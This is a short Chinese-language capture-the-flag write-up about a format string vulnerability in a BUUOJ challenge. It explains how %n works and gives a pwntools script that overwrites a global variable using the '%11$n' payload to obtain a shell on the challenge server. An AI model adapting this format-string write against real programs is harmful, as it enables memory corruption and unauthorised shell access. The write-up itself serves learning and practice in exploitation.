乍一看就是一个格式化字符串漏洞,但是这种漏洞我不太明白,于是昨天晚上恶补了一下,对%n有了更确切的了解。
思路:1.这题明显就是将x更改为4就可以获得shell,然后我查看到x的地址固定为0x804a02c,这个地址存放的数据为0x3。要让他变为0x4。
2.%n和%s一样,都要解析地址然后输出。%s是解析地址然后输出这个地址指向的内存数据,%n是解析地址,然后向次地址中填入之前打印字符的长度。(printf最后把格式化字符串的地址放入栈中,首先会把参数从右至左压入栈若没有参数,则会将栈上的内容作为参数输出)我输入aaaa%s,在栈的esp中存放了aaaa%s的地址,而aaaa%s距离esp的距离为11。`
from pwn import *
#io = process("./fm")
io = remote("node3.buuoj.cn",28439)
payload = p32(0x0804A02C)+"%11$n"; #将地址填入栈,然后解析偏移为11的地址,向其填入0x0804A02C字符的长度(4),即可
io.sendline(payload)
io.interactive()